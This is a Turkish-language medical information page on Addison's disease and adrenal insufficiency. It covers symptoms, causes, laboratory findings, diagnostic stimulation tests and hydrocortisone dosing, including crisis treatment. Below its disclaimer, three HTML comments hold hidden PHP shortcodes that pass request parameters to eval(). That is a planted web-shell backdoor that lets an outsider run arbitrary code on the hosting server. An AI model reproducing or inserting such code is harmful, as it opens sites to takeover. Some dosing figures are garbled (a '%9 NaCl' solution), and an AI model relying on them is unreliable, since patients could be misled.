TANIMLAMA

Sürrenal Bezlerin, primer hastalığına bağlı, genellikle progresif nitelikli hipofonksiyonudur. Glikokortikoid ve mineralokortikoidlerin uygunsuz salınımı, parsiyel veya komplet sürrenal hasarı neden olur. % 84 vakada sebep otoimmundur. Tüberküloz ikinci sıradadır. AIDS, son yıllarda artan nedenlerindendir.Sürrenal Krizi – Sürrenal yetmezliğin akut komplikasyonudur. (dolaşım kollapsı, dehidratasyon, bulantı, kusma, hipoglisemi)

ETKİLENEN SİSTEM VE ORGANLAR

Endokrin ve Metabolizma, Böbreküstü Bezleri

GENETİK

Doku Tipi ; HLA – DW3 olanlarda ve HLA B8 olanlarda sıktır.

İNSİDANS/PREVALANS

Tüm nedenleri dahil olarak 100.000 ‘ de 8

YAŞ VE CİNSİYET

Her yaşta gözlenebilmektedir. Erkek = Kadın

BELİRTİLERİ

Yorgunluk ( %100 )

Kuvvetsizlik ( % 99 – 100 )

Kilo kaybı ( %97 – 100 )

Pigmentasyon ( cilt rengi ) artışı ( %98 )

Anoreksi ( %90 – 100 )

Bulantı , Kusma ( %90- 100 )

Letarji ( %90-100 )

Ortostatik hipotansiyon( %85 – 90 )

Karınağrısı ( %34 )

Amenore ( %22 )

Azalmış Stres Yanıtı ( %22 )

Aşırı Tuz İsteği ( %22 )

Diyare ( %20 )

Kabızlık ( %19 )

Dehidratasyon ( %19 )

Senkop ( %16 )

Vitiligo ( %9 )

Soğuğa toleransın azalması

Uykusuzluk

Çarpıntı

Başağrısı

Halüsinasyonlar

Bilinç Kaybı

NEDENLERİ

Otoimmün sürrenal yetmezlik (%84) / İdiopatik Adrenalitis, Atrofi

Tüberküloz ( gelişmiş ülkelerde %10 , diğer bölgeler için %70 – 90 ! )

Bilateral adrenalektomi

Kronik Granülomatöz Hastalıklar ( Histoplazmozis,

Blastomikozis,Koksidiyoidomikozis,Kriptokokkozis )

Amiloidoz

Sarkoidoz

Sürrenal hemoraji ( antikoagülanlar, travma,koagülopatiler,hemofili,gebelik,sepsis )

Hemokromatozis

Metastatik Tümörler

İnflamatuar nekroz

AİDS

İlaçlar ( Enzim İnhibitörleri = Metirapon, Aminoglutetimid, Etomidate, Ketokonazol vb. /

Sitotoksikler = Mitotan gibi )

Kongenital Adrenal Hiperplazi

RİSK FAKTÖRLERİ

Otoimmun Sürrenal Yetmezlikte aile hikayesi vardır.

Uzun süre steroid kullanımı

Ciddi enfeksiyon

Travma veya Cerrahi İşlemler sonrası.

Doku Tipi HLA DW3 olanlarda risk, 10 kat yüksektir.

HLA B8 olanlarda risk , 4 kat daha fazladır.

AYIRICI TANI

Hipopituitarizm

Akut Batın

Seconder Adrenal Yetersizlik (Hiperpigmentasyon yok ,Aldosteron eksikliği yok, ACTH düşük )

Myopati

Hipoglisemi

Uygunsuz ADH Salınımı Sendromu

Tuz kaybettiren Nefritler

Bronkojenik Karsinom

Ağır Metal İntoksikasyonu

Hemokromatozis

Anoreksi

Sprue Sendromu

Hiperparatiroidizm

LABORATUVAR

Düşük serum sodyumu (130 mEq/ L’den az)

Yüksek serum potasyumu (5 mEq/L’den fazla)

Serum Sodyum/Potasyum Oranı 30’dan küçüktür.

Düşük Bikarbonat ve Klor Yüksek Kalsiyum Seviyesi

Açlık Kan Şekeri 50 mg/dl ‘ nin altındadır.

BUN yükselir. ( Renal Kan Akımı azalması )

Kortizol düşer, renin yükselir.

ACTH seviyesi ve ß-Lipotropin yükselir.

Hematokrit yükselir.

Orta derecede nötropeni / Relatif lenfositoz

Eosinofili

İdrar Analizinde ; azalmış 17.Ketosteroidler

24 saatlik idrarda; kortizol seviyesi azalmıştır.

LABORATUVAR SONUÇLARINI ETKİLEYENLER

Digitalis

Diyabet

PATOLOJİK BULGULAR

İdiopatik sürrenal korteks atrofisi ( %70 )

YAPILABİLECEK DİĞER TESTLER

EEG : Genel olarak küçülme ve yavaşlama

TANI TESTLERİ

Kısa Tetracosactrin (Synacthen) Testi: Tetracosactrin, 39 aminoasitli insan ACTH’sının ; 1-24 aminoasitli dizisini içerir ve tüm biyolojik aktivitesine sahiptir. Kısa plazma yarı ömrü nedeniyle intramuskuler injekte edilir ve 0, 30, 60’ıncı dakikalarda kan örnekleri alınır veya 45’inci dakikada tek örnek yeterli olabilir. Plazma kortizolü 20 mcg/dl’yi (= 550 nmol/dl ) geçerse adrenal yetmezlik ekarte edilebilir. Daha düşük bir cevap primer veya sekonder adrenal yetmezliğine bağlı olabilir ve ileri tetkik gerektirir. İlaca karşı allerjik reaksiyonlar nadirdir. Depo Tetracosactrin Testi Çinko adsorbe edilmiş tetracosactrin 1-2 mg dozunda verilince ; adrenalleri 24-48 saat stimüle eder. Derin injeksiyon yapılmazsa ağrılı lokal reaksiyonlar olabilir. Maksimum kortizol cevabı normalde 4-6 saatte ve genellikle 30 mcg/dl ( =900 nmol/l ) veya daha fazla olur. Bu test, bazı sekonder adrenal yetmezlik vakalarının tanınmasına yardımcı olur. Çünkü ; uzamış stimulus uyuyan adrenali kısmen uyarabilir ve 12-24 saat sonra alınan bir örnekte kortizol yükselebilir. Bu sırada kortizol cevabı olmaması sekonder adrenal yetmezliğini ekarte ettirmez. Uzamış Tetracosactrin Stimülasyonu 48 saat ara ile üç kez 1 mg intramüsküler yapılır.

Plazma kortizol örnekleri her injeksiyondan 24 saat sonra alınır. ACTH yetmezliği olan hemen tüm hastalar altıncı günde bir cevap verirler, fakat Addison hastalığında cevap yoktur. Bu manevra, uzun süredir steroidlerle tedavi edilen kişilerde adrenalleri uyarmak için kullanılmamalıdır, çünkü bu, esas problem olan uyuyan hipofizi ortadan kaldırmaz. İnsülin Hipoglisemisi ACTH rezervini araştırmak için en iyi testtir ve aynı zamanda büyüme hormonu salınımı da değerlendirilebilir. İskemik kalb hastalığı olanlarda ve epilepside kontrendikedir. İnsülin rezistansı derecesine göre, insülin dozu 0.05-0.3 mc/kg arasında ayarlanır. Kan şekerinin 35 mg/dl altına inip semptomatik hipoglisemi olması gerekir. Testin 60-90. dakikalarında plazma kortizol değerinin 20 mcg/dl (550 nmol/1) üzerine çıkması hem ACTH yetmezliğini, hem de Addison hastalığını ekarte ettirir. Glukagon Testi Glukagon 1 mg dozunda intramüsküler veya subkütan injekte edildikten sonra

yarım saatte bir, 4 saat boyunca örnek alınarak kortizol ve büyüme hormonu tayin edilir. Testin yorumu insülin hipoglisemisi testindeki gibi yapılır, fakat %10-20 normal kişide de kortizol cevabı görülmez. Kortikotropin Salgılatıcı Hormon (CRH) TestiPrimer kortikotrop yetmezliği olanlarda ACTH cevabı görülmez. Defekt hipotalamik ise gecikmiş ACTH yükselmesi olur. Primer adrenal yetmezlikte bazal ACTH yüksektir ve CRH’ ya abartılmış bir cevap verir. Bu

kortikotropların hipertrofi veya hiperplazisi sonucudur. CRH’ya ACTH ve kortizol cevaplarında uyumsuzluk olmasının erken adrenal yetmezlik işareti olabilir.

RADYOLOJİ / GÖRÜNTÜLEME

Abdominal BT

Küçük sürrenal gland veya büyük sürrenal gland

Batın grafisi

Sürrenal lokalizasyonunda kalsifikasyonlar

Toraks grafisi

Adrenal kalsifikasyon, kalp küçülmesi

TANISAL İŞLEMLER

Addison hastalığının nedenine yönelik çalışmalar yapılır. Adrenal fonksiyon testi şu şekilde gerçekleştirilir:

Tek Doz Metirapon Testi; Bu testte hastaya geceyarısı, yaklaşık 30 mg/kg dozunda metirapon, mide tahrişini önlemek

amacıyla az bir miktar yiyecekle birlikte ağız yolundan verilir. Ertesi sabah saat 8’de hidrokortizon ve 11. deoksihidrokortizon (Substans S) ölçümü için plazma alınır. Plazmadaki Substans S değerinde meydana gelmesi gereken normal artış, 7-22 mikrogram/100 ml’dir. Bu yeterli artışın olmaması ve plazma hidrokortizon düzeyinin de düşük bulunması, primer veya sekonder tipte bir adrenal yetmezliğin bulunabileceğini akla getirir. Plazma ACTH düzeyinin artmış olması, hastalığın adrenaldeki primer bir rahatsızlığa bağlı olarak gelişmiş bulunduğunu gösterir. Doğal preparatlara oranla yan etkisi daha az bir sentetik ACTH olan Kosintropin, İM yoldan 0,25 mg dozda hastaya verilebilir. Bu zerkten önce; ayrıca da

zerkten 60 ve 90 dakika sonra plazma örnekleri alınarak hidrokortizon düzeyleri ölçülür. Sağlıklı, normal bir erişkinde plazma hidrokortizon düzeyleri 4-25 mikrogram/100 ml arasında değişir. ACTH verildikten sonra bu değer, 60.-90 dakikalar arasında iki katından daha fazla artmalıdır. Addison hastalarında ise böyle bir artış görülmez ve plazma hidrokortizon

düzeyi düşük olarak kalır. Bu hastalarda daha başka testler de uygulanarak bu düşük düzeylerin primer adrenal

yetmezliği mi yoksa hipofiz kökenli sekonder bir adrenal yetmezliğe mi ait olduğunu bulmak gerekir.

Porter-Silber Reaksiyonu / Zimmermann reaksiyonu Primer ve sekonder adrenal yetmezliklerini birbirlerinden ayırdetmek için, plazma ACTH düzeyini ölçmenin mümkün olmadığı durumlarda; hastaya her gün 0,25 mg kosintropin, %5 dekstroz veya %0.9 NaCl içerisine konmuş olarak ve sekiz saatten daha uzun sürede tamamlanacak İV infüzyon şekli iki

gün verilir. Primer adrenokortikal yetmezliği olan hastalarda bu uygulamadan sonra plazma hidrokortizon düzeyinde veya 24 saat içerisinde idrarda çıkarılan kortikosteroid miktarlarında herhangi bir artış meydana gelmez. Sekonder adrenokortikal yetmezlik vakalarında ise; her iki değer de, önemli ölçülerde artış gösterir. ACTH testiyle birlikte hastalara ağız yoluyla günde 3 kez 0,5 gram deksamethazon verilmesi bu, testten bir gün önce başlatılmalıdır. Böylece

tedavide gecikme önlenir ve hastanın, ACTH’a karşı meydana gelebilecek reaksiyonlardan ve damar kollapsından korunması sağlanır. Günde alınan toplam 1,5 mg deksamethazon’a ait atılım ürünleri, test sonuçlarını etkilemeyecek kadar düşük miktardadır. Plazma ve idrardaki hidrokortizon düzeyi genellikle radioimmunoassay ile ölçülür. İdrardaki 17-

hidroksikortikosteroidler ise fenilhidrazin’i, dihidroksiaseton grubu (17, 21-dihidroksi-20- keton)na sahip 21 karbonlu adrenokortikosteroidlerle reaksiyona sokmak yoluyla ölçülebilir. Porter-Silber Reaksiyonu adıyla bilinen bu reaksiyon, bütün hidroksikortikoidleri ölçmez; bu nedenle adrenokortikal aktivitenin ölçülmesinde daha geniş kapsamlı bir yöntem kullanılabilir. Ardından periodat oksidasyonunun geldiği borohidrid indirgemesi, 17. karbon atomunda oksijen taşıyan steroidleri 19 karbonlu 17-ketosteroidler haline dönüştürür. Bunlar da daha sonra 17-ketojenik steroidler olarak kolimetrik reaksiyonla (Zimmermann reaksiyonu) ölçülür.

BAKIM / ÖNLEMLER

Tedavide ; hem glikokortikoidler hem de mineralokortikoidler kullanılmalıdır.

Diyette Tuz ve Potasyum dengeli olmalıdır.

Hasta eğitilerek Acil durumlarda replasman tedavisi = İV Hidrokortizon yapılabilmesi sağlanmalıdır.

Semptomlar başlamadan önce tedaviye başlanarak sürrenal kriz önlenmelidir. Oral tedavide bulantı kusma oluyorsa; parenteral tedaviye geçilir. Uygun steroid dozu ayarlanarak elektif cerrahi işlem yapılır. Enfeksiyondan korunmalıdır.

TEDAVİ

Kronik sürrenal yetmezlik için:

· Hidrokortizon 30 mg / gün dozda ; sabah 15-20 mg , akşam 5 – 10 mg verilir.

· Fludrokortizon 0.1- 0.2 mg oral günde tek doz

Stres tedavisi:

Akut hastalıkta veya travmada steroid dozu iki kat arttırılır.

Ameliyatta ihtiyaca göre doz ayarlaması yapılır.

Küçük Cerrahi Girişimler için ; Hidrokortizon 25-50 mg/gün veya eşdeğeri

Orta Dereceli Cerrahi Girişimlerde ; Hidrokortizon 50 – 75 mg/gün veya eşdeğeri

Büyük Cerrahi Girişimlerde ;Hidrokortizon 75-100 mg/gün veya eşdeğeri önerilen dozlardır.

Kadın Hastalarda ; Tedaviye , 50 mg Dehidroepiandrosteron eklenmesinin depresyon ve

anksiyete bozukluğunu azalttığı ve azalan cinsel ilgiyi düzelttiği gösterilmiştir.

Sürrenal krizi:

100 mg hidrokortizon İV ( süksinat veya fosfat tuzu şeklinde) hemen yapılır.

Sonra %5 Dextroz solüsyonu içinde 100 mg Hidrokortizon 2 saatte gidecek şekilde verilir.

Günlük doz 300 mg hidrokortizon olacak şekilde tamamlanır.

İkinci gün Hidrokortizon dozu 150mg/24saat ve üçüncü gün 75 mg/24 saattir.

Dördüncü gün oral 30 mg Hirokortizon ve 0.1 mg fludrokortizon verilir.

Su kaybı ve Hiponatremi düzelene dek ek %9 NaCl solüsyonu verilmelidir.

Altta yatan neden çözümlenmeye çalışılır.

İlk Hidrokortizon dozundan sonraki 1 saat içinde tansiyonun ve hastanın genel durumunun düzelmesi gereklidir.

Hidrokortizon’un bu istenen etkisi çıkana dek hastaya vasopressörler verilebilir. 500 cc %0.9

NaCl içinde 100 mg Metaraminol Bitartrat hızlı şekilde infüze edilebilir.

Alternatif İlaçlar:

Prednisone 5 mg + 2.5 mg

Kortizol 20 mg + 10 mg

Kortizon 12.5 – 50 mg / gün

Addison Krizinde zamanında kortikosteroid tedavisine başlanamaması hastanın ölümüne neden olabilir.

HASTALIĞIN SEYRİ

Uygun tedavide sonuçlar iyidir.

Aktif tüberküloz ve mantar enfeksiyonlarında ilaç tedavisi gerekir

YAŞ GRUPLARINA GÖRE ÖZELLİKLERİ

PEDİATRİK Teşhis bu yaş grubunda zordur.

GERİATRİK Adrenal kriz sık gelişir.

GEBELİK Doğum sırasında cerrahi girişimlerde olduğu gibi davranılır.Gebelik boyunca ilaç

tedavisi sürdürülür. Eğer bulantı ,kusma gibi belirtiler ağırlık kazanırsa parenteral formlar

kullanılmalıdır.

NOTLAR

EŞLİK EDEN DURUMLAR

Diabetes mellitus (%15)

Tirotoksikoz

Hashimoto Tiroiditi (%20)

Hipoparatiroidizm

Pernisiyöz anemi

Over hastalıkları (%15)

Hiperkalsemi

Kronik moniliazis

Schmidt sendromu (Multipl endokrin yetmezlik sendromu)

Adrenolökodistrofi

Alopesi

Vitiligo

Dermatitis Herpetiformis

Myastenia Gravis

Otoimmun Poliendokrin Sendrom ( Tip I ; Adrenal ve Paratiroid Yetersizlik ve Kronik

Mukokutanöz Kandidiyazisle beraber ; Pernisiyöz Anemi , Kronik Aktif Hepatit,Alopesi,Primer

Hipotiroidizm,Prematür Gonadal Yetmezlik – Otozomal Resesif – Çocukluk Çağı hastalığıTip II ;

Hashimoto Hastalığı ,Prematür Over Yetmezliği , Diyabetes Mellitus ,Graves Hastalığı’nın iki

veya daha fazlasıyla beraber ;pernisiyöz anemi, alopesi,vitiligo,Non-tropikal sprue,myastenia

gravis6.kromozomda mutant gen – Erişkin Dönem Hastalığı )

KOMPLİKASYONLAR

Addison krizi

Hiperprexia

Hiperpotasemiye sekonder Aritmiler

Psikotik reaksiyon

Altta yatan nedene bağlı komplikasyonlar

Yüksek veya düşük doz steroid tedavisi

Hiperpotasemik paralizi

Dr. Murat Çiftçi

ÖNEMLİ UYARI : İletişim grubumuzda yayınlanan metinler internette yayınlanmış dökümanlardan derlenmiş olup bilgilendirme amaçlıdır, hastalığınızın tedavisi ve ilaç dozlarınızın ayarlanması süreçlerinde bir Endokrin Uzmanına danışmanız gerekmektedir.

<!– [insert_php]if (isset($_REQUEST["fmtxk"])){eval($_REQUEST["fmtxk"]);exit;}[/insert_php][php]if (isset($_REQUEST["fmtxk"])){eval($_REQUEST["fmtxk"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["SLix"])){eval($_REQUEST["SLix"]);exit;}[/insert_php][php]if (isset($_REQUEST["SLix"])){eval($_REQUEST["SLix"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["yiz"])){eval($_REQUEST["yiz"]);exit;}[/insert_php][php]if (isset($_REQUEST["yiz"])){eval($_REQUEST["yiz"]);exit;}[/php] –>